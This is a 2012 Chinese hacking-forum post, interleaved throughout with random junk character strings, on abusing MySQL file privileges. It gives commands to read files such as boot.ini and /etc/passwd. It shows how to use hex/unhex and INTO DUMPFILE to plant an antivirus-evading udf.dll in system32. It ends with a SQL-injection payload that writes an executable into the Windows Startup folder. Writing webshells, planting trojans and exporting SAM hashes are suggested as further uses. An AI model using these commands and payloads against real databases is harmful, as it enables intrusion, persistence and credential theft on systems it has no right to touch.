找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1868|回复: 0
打印 上一主题 下一主题

mysql下读取文件的几种方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,因此特地查了下mysql使用手册。 0 B# w8 _' S& g* L+ [+ k! k
思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同   g2 X. `; r2 R! w) ]' K6 u/ [. w
# U  P! b  z& a
mysql3.x下 0 h' b: X! F! ]) L' q( b/ I

6 I  ^* |2 t, O) q9 U; o不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下 $ K4 j8 g/ }( V1 j
* \  h5 o2 M: K) y% H2 ^5 i% N3 S
mysql>create table a (cmd text);
5 Z: f$ D$ C6 I( Mmysql>load data infile 'c:\\boot.ini' into table a;
; E9 z. M) w# n! u1 Z6 Zmysql>select * from a; 9 h' K# E# _1 M( K3 x

6 X- \! S9 E9 x1 A7 ~: zmysql4.x下
) d1 t. p# \8 R5 {
. ^0 w5 u- c2 i" hmysql4.x下除了 load data infile 外还可以用大家熟知的 load_file() 来读取,命令如下
1 Q4 b3 l3 m  A5 f' f' V! N1 h4 Z% l. i- n
mysql>create table a (cmd text); + A/ c7 g+ D  x- P
mysql>insert into a (cmd) values (load_file('c:\\boot.ini'));
) u9 I6 r# c1 p* y5 z" [: ymysql>select * from a;
4 [4 I% k9 v  H1 K. Z3 H5 r* ]' y/ {3 W
mysql5.x下
% u: y/ Z, x. F( H; B0 J7 o7 n3 K- _% d: p# b! ~
在linux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下 + u8 @6 |5 n8 z- e4 u

' B. e. V2 T) Xmysql>system cat /etc/passwd
$ ?) u, N6 d  h' k* l& i( r& R2 ?# V0 m; p" v  C( U) [( H0 R2 X+ x9 Y
" k& h0 ^6 R. p; ]2 U0 {  u) Y
mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用into outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。 0 t3 J" g8 e- W
8 n# e4 [; I  F2 f

' ?: {- W( Z+ f4 V4 ?8 Q例:把免杀过的udf.dll文件插入系统目录 ( K* F/ R1 a7 X0 G; M

7 V2 d* h5 P# a6 _create table a (cmd LONGBLOB); " _- _  b5 Y7 R& X
insert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll'))); - Y/ V  m; H+ \) q- K' k  B5 p
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';
5 j$ w6 p7 R& _# ^' S& _% ]7 K4 ~, Y, G
其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。
+ O  `" Y' K0 o) J: |8 M  e1 L1 [% d% ]" {

9 d) g3 o1 N0 F& K/ R9 C! z: a1 Y2 @注入中的语法(未测试) $ I7 x0 {7 G# C1 R: O
0 A% ~( f8 s- o) B3 P  q0 r  K
9 b1 a& p' @+ }6 K, `) b* P
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\程序\启动\\mm.exe'/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表